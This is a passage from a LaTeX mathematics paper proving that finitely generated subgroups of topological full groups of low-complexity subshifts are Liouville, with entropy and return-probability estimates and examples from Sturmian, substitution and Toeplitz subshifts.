Lemma \ref{reflection principle} also holds without the assumption that $\Gamma$ is infinite. Here is a way to see this: first prove Proposition \ref{estimate max}, that does not assume that the graph is infinite (in the proof, we will only need the current form of Lemma \ref{reflection principle}), then apply it to show that also in the finite case there exists $b_0>0$, that only depends on $K$ and $\delta$, verifying (\ref{choice of b_0}); the rest of the proof holds with no change.
\end{remark}
\begin{proof}[Proof of Proposition \ref{estimate max}]
Suppose at first that $\Gamma$ is infinite. Then Proposition \ref{estimate max} follows from Lemma \ref{reflection principle} (setting $x=a\sqrt{n})$ and from the inequality (\ref{Gaussian tail}) applied to $b=a-b_0$. The constants $C, D, a_0$ are $C=2C_2=2C_1D$, where $C_2$ is as in (\ref{Gaussian tail}), $C_1, D$ are the constants from Proposition \ref{T: Hebisch-Saloff}, and $a_0=b_0+1$, where $b_0$ is the constant from Lemma \ref{reflection principle}. All these constants only depend on the Lipschitz constant $K$ and on $\delta$.
The case of finite $\Gamma$ is readily reduced to the infinite case as follows. Fix $a$ and $n$. If the vertex set of $\Gamma$ is contained in the interval $[-\lceil a\sqrt{n}\rceil,+\lceil a\sqrt{n}\rceil]\subset \mathbb{Z}$ then $\P(S_n> a\sqrt{n})=0$ and the claim is correct. Otherwise, modify $\Gamma$ outside that interval to obtain an infinite graph $\tilde{\Gamma}$ with the same Lipschitz constant $K$, and a Markov kernel $\tilde{p}$ which is $\delta/2$-uniformly elliptic and coincides with $p$ on edges that entirely lie in that interval (this can clearly be achieved). Random walks on $(\Gamma, p)$ and $(\tilde{\Gamma}, \tilde{p})$ are naturally coupled until the exit time from $[-\lceil a\sqrt{n}\rceil,+\lceil a\sqrt{n}\rceil]$, in particular the distributions of the exit times for the two random walks are the same. The conclusion follows from the infinite case. \qedhere
\end{proof}
\section{Proof of Theorem \ref{main}}
\label{S: proof}
We now turn to the proofs of Theorem \ref{main} and of Corollary \ref{C: return probability}.\\
\emph{Throughout the section, we suppose that $(\Sigma, \tau)$ is a subshift without isolated periodic points, and that $\mu$ is a symmetric, finitely supported probability measure on $[[\tau]]$ (possibly degenerate).\\
We set $S=\operatorname{supp}\mu$ and $G=\langle S\rangle\le [[\tau]]$. }\\
For the moment we do not make any assumption on the complexity of $\Sigma$. The assumption on the complexity in Theorem \ref{main} will be used in the last part of the proof, as we will point out.
\begin{remark}\label{density non-periodic}
The set of non-periodic points is dense in $\Sigma$. To see this, observe that absence of isolated periodic points implies that, for any $n\in\mathbb{N}$, the finite set of $n$-periodic points has empty interior. By Baire's Theorem the set of all periodic points has empty interior, in other words non-periodic points are dense.
\end{remark}
\begin{defin}\label{orbit cocycle}
By definition of topological full group, for every element $g\in [[\tau]]$ there exists a continuous, locally constant function $k_g:\Sigma\to \mathbb{Z}$, called the \emph{orbit cocycle}, defined by the requirement
\[\forall x\in \Sigma, \qquad g(x)=\tau^{k_g(x)}(x).\]
Note that $g$ is uniquely determined by $k_g$. Conversely, observe that the value of $k_g(x)$ is uniquely determined by $g$ if $x$ is a non-periodic point. By Remark \ref{density non-periodic}, non-periodic points are dense, so by continuity the function $k_g$ is uniquely determined by $g$ everywhere. By compactness of $\Sigma$, $k_g$ takes finitely many values for every fixed $g\in [[\tau]]$ . We set
\begin{equation} \label{Lipschitz constant} K=\max_{s\in S}\max_{x\in \Sigma} |k_s(x)|.\end{equation} \end{defin}
Note that the orbit cocycle verifies the cocycle rule
\begin{equation}\label{cocycle} k_{gh}(x)=k_g(hx)+k_h(x).\end{equation}
\begin{remark}\label{length bound}
If $l_S$ is the word length on $G$ defined by $S$, the cocycle rule implies that $|k_g(\cdot)|\leq Kl_S(g)$ point-wise.
\end{remark}
\begin{defin}
We fix the following notation. Given an integer $l>0$ and a finite word $w=w_{-l}\cdots w_{-1} w_0w_1\cdots w_l$ of length $2l+1$ in the alphabet $\mathcal{A}$, we denote by $\mathcal{C}_w$ the cylinder subset
\[\mathcal{C}_w=\{x=\cdots x_{-1}.x_0x_1\cdots\in \Sigma\::\: x_i=w_i, \:\: \forall i=-l,\ldots l\}\subset \Sigma.\]
In what follows, the word \emph{cylinder} will always refer to a subset of $\Sigma$ of this form. The integer $l$ is called its \emph{depth}.
\end{defin}
We start with an elementary Lemma, which provides a criterion to ensure that $k_g$ is constant cylinders.
\begin{lemma}\label{coupling}
There exists $l_0\in\mathbb{N}$, which only depends on $(\Sigma,\tau)$ and on $S$, such that the following holds.
Let $n>0$ and $l>l_0$ be integers. Let $h_1,\ldots, h_n\in S$ be any $n$-tuple of elements in the generating set, and set $g_j=h_j\cdots h_1$ for every $j=1,\ldots, n$. Let $\mathcal{C}_w$ be a non-empty cylinder of depth $l$. Choose any non-periodic point $x\in \mathcal{C}_w$ (which exists by Remark \ref{density non-periodic}) and suppose that
\begin{equation}\label{max<l-l_0}\max_{j\leq n} |k_{g_j}(x)|\leq l-l_0.\end{equation}
Then for every $j=1,\ldots,n$, the restriction of the orbit cocycle $k_{g_j}$ to $\mathcal{C}_w$ is constant.
\end{lemma}
\begin{proof}
The function $\Sigma\to\mathbb{Z}^S$ given by $x\mapsto (k_s(x))_{x\in S}$ is locally constant and takes finitely many values. Thus, the level sets of this function provide a finite partition $\mathcal{P}$ of $\Sigma$ into clopen sets such that for every generator $s\in S$ the restriction of $k_s$ to every element of $\mathcal{P}$ is constant.
After taking a refinement, we may suppose that $\mathcal{P}$ consists of cylinders. Let $l_0$ be the largest depth of a cylinder in $\mathcal{P}$, this will be $l_0$ in the statement. In other words, if $x=\cdots x_{-1}.x_0x_1\cdots\in \Sigma$ and $s\in S$, in order to determine $k_s(x)$ it is sufficient to know the letters $x_{-l_0}, x_{-l_0+1},\ldots, x_0,\ldots,x_{l_0}$.
Now suppose that (\ref{max<l-l_0}) holds and let $y\in \mathcal{C}_w$. For clarity, suppose at first that $y$ is non-periodic. Let us prove by induction on $j\leq n$ that $k_{g_j}(x)=k_{g_j}(y)$. For $j=1$ observe that since $x,y$ are in a same cylinder of depth $l>l_0$, they lie in the same element of $\mathcal{P}$. Since $g_1=h_1\in S$, this implies that $k_{g_1}(x)=k_{g_1}(y)$.
Suppose that the conclusion holds for $j$ and that $g_{j+1}=h_{j+1}g_j$ with $h_{j+1}\in S$.
First note that if $x=\cdots x_{-1}.x_0x_1\cdots$ and $y=\cdots y_{-1}.y_0y_1\cdots$ are in $\mathcal{C}_w$, by the inductive hypothesis we have
\begin{align*}
g_jx=\tau^{k_{g_j}(x)}(x)=&\cdots x_{k_{g_j}(x)-1}.x_{k_{g_j(x)}}x_{k_{g_j}(x)+1}\cdots,\\
g_jy=\tau^{k_{g_j}(y)}(y)=\tau^{k_{g_j}(x)}(y)=&\cdots y_{k_{g_j}(x)-1}.y_{k_{g_j(x)}}y_{k_{g_j}(x)+1}\cdots.
\end{align*}
Since $x$ and $y$ agree on letters at distance at most $l$ from the letter at position 0 and by the assumption (\ref{max<l-l_0}) we have $|k_{g_j}(x)|\leq l-l_0$, we conclude that the sequences $g_jx$ and $g_jy$ agree on letters at distance at most $l_0$ from the letter at position 0. Hence they lie in the same element of $\mathcal{P}$. Since $h_{j+1}\in S$, it follows that $k_{h_{j+1}}(g_jx)=k_{h_{j+1}}(g_jy)$.
Thus, using the cocycle rule (\ref{cocycle}) and again the inductive hypothesis
$$k_{g_{j+1}}(x)=k_{h_{j+1}}(g_jx)+k_{g_j}(x)=k_{h_{j+1}}(g_jy)+k_{g_j}(y)=k_{g_{j+1}}(y),$$
which completes the induction. We have proven that for every $j\leq n$ the restriction of $k_{g_j}$ to the set of non-periodic points in $\mathcal{C}_w$ is constant. Since this set is dense by Remark \ref{density non-periodic}, this implies that the restriction of $k_{g_j}$ to $\mathcal{C}_w$ is constant.
\qedhere
\end{proof}
\emph{From now on let $(g_n)_{n\in\mathbb{N}}$ be the left random walk on $G$ driven by $\mu$, i.e. $g_n=h_n\cdots h_1$ where $(h_i)_{i\geq 1}$ is a sequence of independent $G$-valued random variables, with distribution $\mu$.}\\
We first look at the process $(k_{g_n}(x))_{n\in\mathbb{N}}$ for a fixed $x\in \Sigma$.
\begin{remark}
Let $x\in \Sigma$ be a non-periodic point, and let $O(x)=\{\tau^j(x)\}_{j\in\mathbb{Z}}$ be the $\tau$-orbit of $x$. Since $x$ is not periodic, $O(x)$ can be identified with $\mathbb{Z}$ via the map
\begin{align*}
\iota_x:O(x)&\to \mathbb{Z}\\
\tau^j(x)&\mapsto j.\end{align*}
Let $Gx\subset O(x)$ be the $G$-orbit of $x$ and let $\Gamma_x$ be the corresponding \emph{Schreier graph} with respect to the generating set $S$, that is, the undirected graph with vertex set $Gx$ and where $y,z\in Gx$ are connected by an edge if there exists $s\in S$ such that $y=sz$. It is straightforward to check that the restriction of $\iota_x$ to $\Gamma_x$ is $K$-Lipschitz for the constant $K$ defined in (\ref{Lipschitz constant}). Identify the vertex set of $\Gamma_x$ with a subset of $\mathbb{Z}$ using the map $\iota_x$.
This identification sends $gx\in Gx$ to $k_g(x)\in\mathbb{Z}$. It follows that the process $(k_{g_n}(x))_{n\in\mathbb{N}}$ is the position in $\mathbb{Z}$ of $(g_nx)_{n\in \mathbb{N}}$, which is in turn a nearest neighbour random walk on the graph $\Gamma_x$, with Markov kernel $p(y,z)=\sum_{s:sy=z}\mu(s)$.
Finally, note that the Markov kernel $p$ on $\Gamma_x$ is $\delta$-uniformly elliptic (see (\ref{p bounded below})) with $\delta=\min_{s\in S}\mu(s)$. Note also that both constants $K$ and $\delta$ are independent from the choice of $x$. We are in position to apply Proposition \ref{estimate max} to $\Gamma=\Gamma_x$ and $X_n=k_{g_n}(x)$, and we have obtained the following Lemma.
\end{remark}
\begin{lemma}\label{max k}
There exist positive constants $C_1,D, a_0$ such that for every $a\geq a_0$ every $n\geq 1$ and every non-periodic $x\in \Sigma$ we have
$$\P(\max_{j\leq n} |k_{g_j}(x)|\geq a\sqrt{n})\leq C_1 \exp({-\frac{(a-a_0)^2}{D}}).$$
The constants $C_1,D,a_0$ are independent from the choice of $x$.
\end{lemma}
Combining Lemma \ref{coupling} with Lemma \ref{max k} we get:
\begin{cor}\label{single cylinder}
In the situation of Lemma \ref{max k}, for every large enough $n\in \mathbb{N}$ and every $L\geq 1$ the following holds. If $\mathcal{C}_w$ is a cylinder of depth $\lceil \sqrt{L n\log n}\rceil$, we have
\[\mathbb{P}(k_{g_n} \text{\emph{ is not constant on }} \mathcal{C}_w)\leq C_1 n^{-L/4D},\]
where $C_1$ and $D$ are the constants from Lemma \ref{max k}.
\end{cor}
\begin{proof}
Pick $x\in \mathcal{C}_w$ non-periodic. By Lemma \ref{coupling} if $k_{g_n}$ is not constant on $\mathcal{C}_w$ we have $\max_{j\leq n}|k_{g_j}(x)|>\lceil \sqrt{L n\log n}\rceil-l_0$. To bound the probability of this event we apply Lemma \ref{max k} with $a=\sqrt{L \log n}-l_0/\sqrt{n}$. To simplify the formula, we take $n$ large enough so that $\sqrt{L \log n}-l_0/\sqrt{n}-a_0\geq \frac{1}{2}\sqrt{L \log n}$; note that since we assume that $L\geq 1$, the minimal $n$ verifying this can be chosen to depend only on $a_0$ and $l_0$, and not on $L$ nor on the cylinder under consideration. With this choice, Lemma \ref{max k} gives the bound claimed in the Corollary.
\end{proof}
We are now ready to prove Theorem \ref{main}. \\
\emph{From now, we fully assume to be in the situation of Theorem \ref{main}. In particular we assume that the complexity $\rho$ satisfies the assumption in the statement. We keep all the other notations introduced above in this section.}\\
To prove Theorem \ref{main}, we exhibit a sequence of finite subsets $A_n\subset G$ that grow sub-exponentially and such that $\mu^{*n}(A_n)\to 1$. Existence of such sets is equivalent to the vanishing of the random walk entropy by Fact \ref{entropy vanishing criterion}. We will then deduce entropy estimates using Fact \ref{quantitative entropy vanishing criterion}.
\begin{defin}[Definition of the sets $A_n$]\label{definition of An}
Suppose to be in the situation of Theorem \ref{main}. Choose $L>8D$, where $D$ is the constant from Corollary \ref{single cylinder}.
Let $\tilde{A}_n\subset G$ to be the set of all elements $g\in G$ such that for every cylinder $\mathcal{C}_w$ with depth $\lceil \sqrt{L n\log n}\rceil$ the restriction of $k_g$ to $\mathcal{C}_w$ is constant. Finally set
\[A_n= \tilde{A}_n\cap B_{G,S}(n),\]
where $B_{G,S}(n)$ is the ball of radius $n$ in the word metric induced by $S$.
Denote by $\mathscr{C}(n)$ the collection of all non-empty cylinders with depth $\lceil \sqrt{L n\log n}\rceil$. Every cylinder in $\mathscr{C}(n)$ is determined by a word of length $2\lceil \sqrt{L n\log n}\rceil+1$.
To simplify the notations, we extend the function $\rho$ to a piecewise affine function defined on $\mathbb{R}_+$, still denoted $\rho$, and we introduce a constant $C_2>0$ so that for every $n\geq 2$
\begin{equation}\label{cardinality cn}
|\mathscr{C}(n)|= \rho(2\lceil \sqrt{L n\log n}\rceil+1)\leq \rho(C_2\sqrt{n\log n}).
\end{equation}
\end{defin}
\begin{lemma} \label{An subexponential}
The cardinality of $A_n$ grows sub-exponentially, i.e.\ $\frac{1}{n}\log|A_n|\to 0$.
\end{lemma}
\begin{proof}
By construction, the word length of any $g\in A_n$ does not exceed $n$. Hence by Remark \ref{length bound} for any $g\in A_n$ we have $|k_{g}(\cdot)|\leq Kn$ point-wise.
An element $g\in A_n$ is uniquely determined by the value of $k_g$ on every cylinder in $\mathscr{C}(n)$, and we observed that $k_g$ does not exceed $Kn$ in absolute value, thus using (\ref{cardinality cn}):
\begin{equation}\label{size of A} |A_n|\leq |\{-Kn,\cdots,0,\cdots,Kn\}|^{|\mathscr{C}(n)|}\leq(2Kn+1)^{\rho(C_2\sqrt{n\log n})}.\end{equation}
The assumption on $\rho$ in the statement of Theorem \ref{main} guarantees that $\frac{1}{n}\log|A_n|\to0$. \qedhere
\end{proof}
\begin{lemma} \label{An likely} We have $\mu^{*n}(A_n) \to 1$. \end{lemma}
\begin{proof}
We have $\mu^{*n}(A_n)=\mathbb{P}(g_n\in A_n)$, where $(g_n)_{n\in \mathbb{N}}$ is the random walk. Obviously $g_n$ lies in the ball of radius $n$, thus we only need to prove that $k_{g_n}$ is constant on every cylinder in $\mathscr{C}(n)$ with probability tending to one as $n\to \infty$.
We have
\begin{align*}1-\mu^{*n}(A_n)=\mathbb{P}(\exists \mathcal{C}_w\in \mathscr{C}(n)\::\: k_{g_n}\text{ is not constant on }\mathcal{C}_w)\leq\\
\sum_{\mathcal{C}_w\in \mathscr{C}(n)}\mathbb{P}( k_{g_n}\text{ is not constant on }\mathcal{C}_w).\end{align*}
To bound to the last sum, use Corollary \ref{single cylinder}, which applies to the cylinders in $\mathscr{C}(n)$ by the choice made in Definition \ref{definition of An}. Using (\ref{cardinality cn}) we get
\begin{equation}\label{bound of q}1-\mu^{*n}(A_n)\leq C_1n^{-L/4D}|\mathscr{C}(n)|\leq C_1n^{-L/4D}\rho(C_2 \sqrt{n\log n}),
\end{equation}
where $C_1$ is the constant from Corollary \ref{single cylinder}. Note that by the choice of $L$ in Definition \ref{definition of An} we have $L/4D>2$, and this implies that $\mu^{*n}(A_n)\to 1$ by the assumption on $\rho$ (that guarantees that $ \frac{1}{n^\beta}\rho(C_2\sqrt{ n\log n})\to 0$ for every $\beta\geq 1$).
\qedhere
\end{proof}
\begin{proof}[End of the proof of Theorem \ref{main}]
The fact that the asymptotic entropy vanishes immediately follows from Lemma \ref{An subexponential} and Lemma \ref{An likely} using Fact \ref{entropy vanishing criterion}.
To see that the claimed upper bound for $H(\mu^{*n})$ holds, use Point 1 from Fact \ref{quantitative entropy vanishing criterion} together with (\ref{size of A}) and (\ref{bound of q}) to get that there exists a constant $C_3>0$ such that
\begin{align*}
H(\mu^{*n})\leq \log|A_n| + n(1-\mu^{*n}(A_n))\log|S|+\log 2 \leq \\
C_3 \rho(C_2\sqrt{n\log n})\log n +C_3+C_3n^{1-L/4D}\rho(C_2\sqrt{n\log n}).
\end{align*}
Finally observe that the last summand tends to zero by the choice of $L$ in Definition \ref{definition of An} and by the assumption on $\rho$. This implies the claimed upper bound for the entropy.
\end{proof}
\begin{proof}[Proof of Corollary \ref{C: return probability}]
Using Point 2 of Fact \ref{quantitative entropy vanishing criterion} together with (\ref{size of A}) we get that there exists $C_4>0$ so that for every $n\geq 1$
\[\mu^{*2n}(e)\geq \frac{1}{C_4}\exp(-C_4\log n \rho(C_2\sqrt{n\log n})).\]
The claim on the F\o lner function follows from Nash inequality theory, see for instance \cite[Corollary 14.5 (b)]{Woess:book} or \cite{Pittet-Saloff:survey}.
\end{proof}
\section{Examples}
\label{S: examples}
\subsection{Irrational rotations}
\label{S: irrational rotations}
One of the first historical examples of infinite minimal subshifts are the so-called \emph{Sturmian subshifts} associated to irrational rotations of the circle, first defined in \cite{Morse-Hedlund}. For material on Sturmian subshifts see \cite[Chapter 2]{Sturmian}.
Let $\alpha\in(0,1)$ be irrational. Consider the irrational rotation
$R_\alpha:x\mapsto x+\alpha$ on the unit circle $\mathbb{R}/\mathbb{Z}$. Take as alphabet $\mathcal{A}=\{a,b\}$, and let $\phi:\mathbb{R}/\mathbb{Z}\to\{a,b\}$ be defined by $\phi(x)=a$ if $x\in [0,\alpha)\: \operatorname{mod }1$ and $\phi(x)=b$ otherwise.
Let $\Sigma_\alpha\subset\{a,b\}^\mathbb{Z}$ be the closure of $\{(\phi(R_\alpha^j(x)))_{j\in \mathbb{Z}}\: :\: x\in \mathbb{R}/\mathbb{Z}\}$.
The subshift $( \Sigma_\alpha, \tau_\alpha)$ is minimal \cite{Hedlund} (in particular, it has no periodic points), and its complexity is given by $\rho(n)=n+1$ see for instance \cite[Theorem 2.1.13]{Sturmian} (this is the slowest possible complexity for an infinite subshift).
It follows from Theorem \ref{main} that every finitely generated subgroup of $[[\tau_\alpha]]$ has the Liouville property. In particular, $[[\tau_\alpha]]'$ is an infinite, finitely generated, simple Liouville group.
If $\beta\neq \alpha$ are in $[0, 1/2)$, it is well known that the topological conjugacy classes of $(\Sigma_\alpha, \tau_\alpha)$ and $(\Sigma_\beta, \tau_\beta)$ are distinguished by their spectrum, see for instance \cite[pp. 3-4]{Cornulier:Bourbaki}. Thus the two systems are not topologically conjugated.
By results of Giordano, Putnam and Skau \cite[Corollary 4.4]{Giordano-Putnam-Skau:flipconjugacy} and Bezuglyi and Medynets \cite[Theorem 5.2]{Bezuglyi-Medynets:flipconjugacy}, the commutator subgroups of the topological full groups of two Cantor minimal systems $(\Sigma, \tau)$ and $(\Sigma', \tau')$ are isomorphic if and only if $(\Sigma',\tau')$ is topologically conjugate to $(\Sigma,\tau)$ or to $(\Sigma, \tau^{-1})$.
It follows that when $\alpha$ runs in $[0,1/2)$, the groups $[[\tau_\alpha]]'$ provide uncountably many pairwise non-isomorphic examples of simple Liouville groups, as claimed in Theorem \ref{T:simple Liouville}.
Let $S$ be a finite symmetric generating set of $[[\tau_\alpha]]'$, and let $\mu$ be a symmetric probability measure supported on $S$. Using the explicit value of the complexity, Corollary \ref{C: return probability} gives that for every $\varepsilon>0$ there exists a constant $C$ such that
\begin{align*}
\mu^{*2n}(e)\geq \frac{1}{C}\exp(-Cn^{1/2+\varepsilon});\\
\operatorname{F\o l}_{[[\tau_\alpha]]', S}(n)\leq C\exp(Cn^{2+\varepsilon}).
\end{align*}
\subsection{Substitutions}\label{fibonacci}\label{S: substitutions}
Another source of subshifts with slow complexity are the \emph{substitution dynamical systems}. See the books \cite{Fogg, Queffelec} for a survey. These provide examples of both minimal and non-minimal subshifts satisfying the assumptions in Theorem \ref{main}.
Let $\mathcal{A}^*$ be the set of finite words in the alphabet $\mathcal{A}$. A \emph{substitution} is a map $\psi:\mathcal{A}\to\mathcal{A}^*$. Such a map obviously extends to $\mathcal{A}^*$ by concatenation, the extension is still denoted $\psi:\mathcal{A}^*\to\mathcal{A}^*$. It makes thus sense to consider iterations of $\psi$. We shall make two standing assumptions:
\begin{enumerate}
\item there exists a letter $a\in \mathcal{A}$ such that $\psi(a)$ begins with an $a$;
\item for every $b\in\mathcal{A}$ the length of $\psi^n(b)$ tends to infinity as $n\to\infty$.
\end{enumerate}
Any substitution $\psi$ satisfying Conditions 1 and 2 defines a subshift $(\Sigma_\psi, \tau_\psi)$ by the following construction.
Condition 1 above implies that $\psi^n(a)$ is a prefix of $\psi^{n+1}(a)$ for every $n\in \mathbb{N}$. Thus we can pass to the limit and obtain a right-infinite sequence $\psi^{\infty}(a)$. Chose an arbitrary letter $b\in\mathcal{A}$ and consider the bi-infinite sequence ${x}=\cdots bbbb\psi^\infty(a)\in\mathcal{A}^\mathbb{Z}$. Define $\Sigma_\psi$ as the set of cluster points of $(\tau^n({x}))_{n\geq 0}$, where $\tau$ is the shift. This set does not depend on the choice of $b\in \mathcal{A}$, it is a closed non-empty subset of $\mathcal{A}^\mathbb{Z}$ and it is invariant under the shift. We denote $(\Sigma_\psi, \tau_\psi)$ the subshift obtained in this way.
A finite sub-word of $\psi^\infty(a)$ appears as a sub-word of a sequence in $\Sigma_\psi$ if and only if it appears infinitely many times in $\psi^\infty(a)$.
In fact, $\Sigma_\psi\subset \mathcal{A}^\mathbb{Z}$ coincides with the subset of $\mathcal{A}^\mathbb{Z}$ consisting of words such that every finite sub-word appears as a sub-word of $\psi^\infty(a)$, but the above construction gives more precise information.
We recall a partial case of a result due to Pansiot (see \cite[Theorem 4.7.1]{Complexity}).
\begin{thm}[cf. Theorem 4.7.55 in \cite{Complexity}]
If $\psi$ satisfies Conditions 1 and 2 above, there exists a constant $C>0$ such that the complexity $\rho$ of $\Sigma_\psi$ satisfies for every $n\geq 2$
\[\rho(n)\leq Cn\log n.\]
\end{thm}
\begin{cor}\label{C: substitutions}
Under the same assumptions, every finitely generated subgroup of $[[\tau_\psi]]$ has the Liouville property. In particular $[[\tau_\psi]]$ is amenable.
\end{cor}
\begin{proof}[Proof of Corollary \ref{C: substitutions}]
We may assume that $\psi^\infty(a)$ is not eventually periodic, since in this case $\Sigma_\psi$ is finite and $[[\tau_\psi]]$ is a finite group. To apply Theorem \ref{main}, we only need to check that no periodic point is isolated in $\Sigma_\psi$. Let $x=(x_j)_{j\in\mathbb{Z}}\in\Sigma_\psi$ be a $n$-periodic point, and let $w=x_0\cdots x_{n-1}$ be its period. Fix $l>0$ and consider the word $w^{2l}$ consisting of $2l$ concatenations of $w$. Since $w^{2l}$ appears in $x$, it appears infinitely often in $\psi^\infty(a)$. Since $\psi^\infty(a)$ is not eventually periodic, we deduce that it admits an infinite sequence of sub-words of the form $(w^{2l}w_k)_{k\geq 1}$ where $w_k\neq w$ has length $n$. Since there are only finitely many possibilities for $w_k$, there exists $w'\neq w$ of length $n$ such that $w^{2l}w'$ appears infinitely often. It follows that $w^{2l}w'$ appears as a sub-word of a sequence in $\Sigma_\psi$. By shift-invariance, there exists $y^{(l)}=(y^{(l)}_j)_{j\in\mathbb{Z}}\in\Sigma_\psi$ such that $(y^{(l)}_j)_{-nl\leq j\leq nl-1}=w^{2l}=(x_j)_{-nl\leq j\leq nl-1}$ and $(y^{(l)}_j)_{nl\leq j\leq nl+n-1}=w'\neq w= (x_j)_{nl\leq j\leq nl+n-1}$. We have $y^{(l)}\neq x$ and $y^{(l)}\to x$ as $l\to\infty$, thus $x$ is not isolated.\qedhere
\end{proof}
A substitution is said to be \emph{primitive} if there exists $l>0$ such that for every ordered pair of letters $x,y\in\mathcal{A}$ the letter $x$ appears in $\psi^l(y)$. Note that whenever $\psi$ is a primitive substitution and the alphabet contains at least two letters, Condition 2 above is automatically verified, and Condition 1 is always verified up to passing to an iteration of $\psi$. We recall in the next Proposition two well-known facts about primitive substitutions.
\begin{prop}[see Proposition 5.5 and Proposition 5.12 in \cite{Queffelec}]\label{P: primitive substitutions}
Let $\psi$ be a substitution satisfying Conditions 1 and 2 above. Then $\psi$ is primitive if and only if $(\Sigma_\psi, \tau_{\psi})$ is minimal. Moreover in this case there exists $C>0$ such that for every $n\geq 1$
\[\rho(n)\leq Cn,\]
where $\rho$ is the complexity of $\Sigma_\psi$.
\end{prop}
It follows that for any primitive substitution $\psi$, the group $[[\tau_\psi]]'$ is a finitely generated simple Liouville group. Moreover Corollary \ref{C: return probability} combined with Proposition \ref{P: primitive substitutions} provides estimates for its return probabilities and its F\o lner function.
Primitive substitutions subshifts, as well as the Sturmian subshifts described in Subsection \ref{S: irrational rotations}, belong to the class of minimal subshfits with \emph{linearly growing} complexity. This is a well studied class of minimal subshifts, see for instance Ferenczi \cite[Proposition 5]{Ferenczi:linearcomplexity}.
Let us recall an explicit finitely generated group which appears as an example in \cite{Juschenko-Nekrashevych-Salle:recurrentgrupoids}.
Consider the \emph{Fibonacci substitution} on the alphabet $\mathcal{A}=\{a,b\}$ given by
\begin{align*}
\psi\::\:&a\mapsto ab\\
&b\mapsto a.
\end{align*}
We obtain the right-infinite sequence
$$\psi^\infty(a)=abaababaabaababaababa\cdots.$$
The Fibonacci substitution is primitive, thus it yields a minimal subshift $(\Sigma_\psi, \tau_\psi)$. In fact, the subshift $(\Sigma_\psi, \tau_\psi)$ is also a Sturmian subshift, obtained from the irrational rotation by the golden ratio $\phi=(1+\sqrt{5})/2$, see \cite[Example 2.1.1]{Sturmian} (the reader may consult \cite[Section 2.1, Proposition 5.2.21]{Fogg} for an example of a primitive substitution subshift which is not conjugate to a Sturmian subshift, given by the \emph{Thue-Morse} substitution). Let $\alpha,\beta,\gamma$ act on a sequence $x=\cdots x_{-1}.x_0x_1\cdots\in \Sigma_\psi$ by
\begin{align*}&\left\{\begin{array}{lr}
\alpha(x)=\tau_\psi(x) & \text{ if }x_{-1}x_0=aa\\
\alpha(x)=\tau_\psi^{-1}(x) &\text{ if } x_{-2}x_{-1}=aa\\
\alpha(x)=x& \text{ otherwise,}
\end{array}\right.\left\{\begin{array}{lr}
\beta(x)=\tau_\psi(x) & \text{ if }x_{-1}x_0=ba\\
\beta(x)=\tau_\psi^{-1}(x) &\text{ if } x_{-2}x_{-1}=ba\\
\beta(x)=x& \text{ otherwise,}
\end{array}\right.\\ &\left\{\begin{array}{lr}
\gamma(x)=\tau_\psi(x) & \text{ if }x_0=b\\
\gamma(x)=\tau_\psi^{-1}(x) &\text{ if } x_{-1}=b\\
\gamma(x)=x& \text{ otherwise.}
\end{array}\right.\end{align*}
One can check that $\alpha,\beta,\gamma$ are elements of $[[\tau_\psi]]$ and are involutions. Set $G=\langle \alpha,\beta,\gamma\rangle$. By Corollary \ref{C: substitutions}, the group $G$ is Liouville. Let $\mu$ be the measure equidistributed on $S=\{\alpha,\beta,\gamma\}$. For every point $x\in\Sigma_\psi$ the Schreier graph of $G$ acting on the orbit of $x$ with respect to the generating set $S$ is isomorphic to $\mathbb{Z}$, with additional loops based at every vertex. If $(g_n)_{n\in\mathbb{N}}$ is the random walk on $G$ then $(k_{g_n}(x))_{n\in\mathbb{N}}$ performs a lazy random walk on $\mathbb{Z}$ that at each step chooses whether to stay, go left, or go right, each with probability $\frac{1}{3}$.
We conclude this section by giving an example of a non-minimal subshift, to which Theorem \ref{main} applies. Consider the non-primitive substitution $\psi$ on the alphabet $\mathcal{A}=\{a,b\}$ given by
\begin{align*}
\psi\::\:&a\mapsto aba\\
&b\mapsto bb.
\end{align*}
This substitution verifies Conditions 1 and 2 stated at the beginning of this subsection. Since $\psi$ is not primitive, the subshift $(\Sigma_\psi, \tau_\psi)$ is not minimal (in fact it contains the constant sequence $\cdots bbb\cdots$). The complexity $\rho$ of $\Sigma_\psi$ is computed explicitly in \cite[Paragraph 4.10.5]{Complexity}, where it is shown that the limit $\lim_{n\to\infty}\rho(n)/n\log\log n$ exists. It follows from Corollary \ref{C: substitutions} that $[[\tau_\psi]]$ is amenable and its finitely generated subgroups are Liouville.
\subsection{Toeplitz subshifts}\label{S: Toeplitz}
\emph{Toeplitz subshifts} provide examples of applications of Theorem \ref{main} to minimal subshifts with super-linear complexity. The complexity of Toeplitz subshifts is studied by Cassaigne and Karhum\"aki in \cite{Toeplitz}. I am grateful to Val\'erie Berth\'e for bringing this example to my attention.
Let $\mathcal{A}$ be a finite alphabet, and consider the alphabet $\mathcal{A}\cup\{*\}$, where $*\notin\mathcal{A}$ is an extra letter, thought of as a ``hole''.
Let $w$ be a finite word in the alphabet $\mathcal{A}\cup\{*\}$ starting with a letter in $\mathcal{A}$. To such a word, we associate a right infinite \emph{Toeplitz word} in the alphabet $\mathcal{A}$, denoted $T_\infty(w)$ and obtained as follows. Let
$T_1(w)=w^\mathbb{N}=wwww\cdots$ be the right-infinite periodic word in the alphabet $\mathcal{A}\cup\{*\}$ with period $w$. At step $i$, build a new right-infinite word $T_i(w)$ in the alphabet $\mathcal{A}\cup\{*\}$ obtained from $w^\mathbb{N}$ by ``filling the holes'' with the sequence $T_{i-1}(w)$, i.e.\ the first appearance of $*$ in $w^\mathbb{N}$ is replaced by the first letter of $T_{i-1}(w)$, the second appearance by the second letter, and so on. In the limit, $T_i(w)$ converges to a right infinite word $T_\infty(w)$ in the alphabet $\mathcal{A}$ (we use here the assumption that the first letter of $w$ belongs to $\mathcal{A}$).
For example the word $w=a*ab*a$ yields the Toeplitz word
\[T_\infty(a*ab*a)=aaabaaaaabbaaaabaaaaabaa\cdots.\]
We obtain a \emph{Toeplitz subshift} $(\Sigma_w, \tau_w)$, where $\Sigma_w\subset\mathcal{A}^\mathbb{Z}$ consists of all bi-infinite sequences so that any finite sub-word appears in $T_\infty(w)$. Any Toeplitz subshift is minimal, see \cite[p. 499]{Toeplitz}, and it is infinite as soon as the Toeplitz word $T_\infty(w)$ is not eventually periodic. We recall in the next theorem a particular case of the results from \cite{Toeplitz}.
\begin{thm}[Cassaigne and Karhum\"aki, see Theorems 4 and 5 in \cite{Toeplitz}]
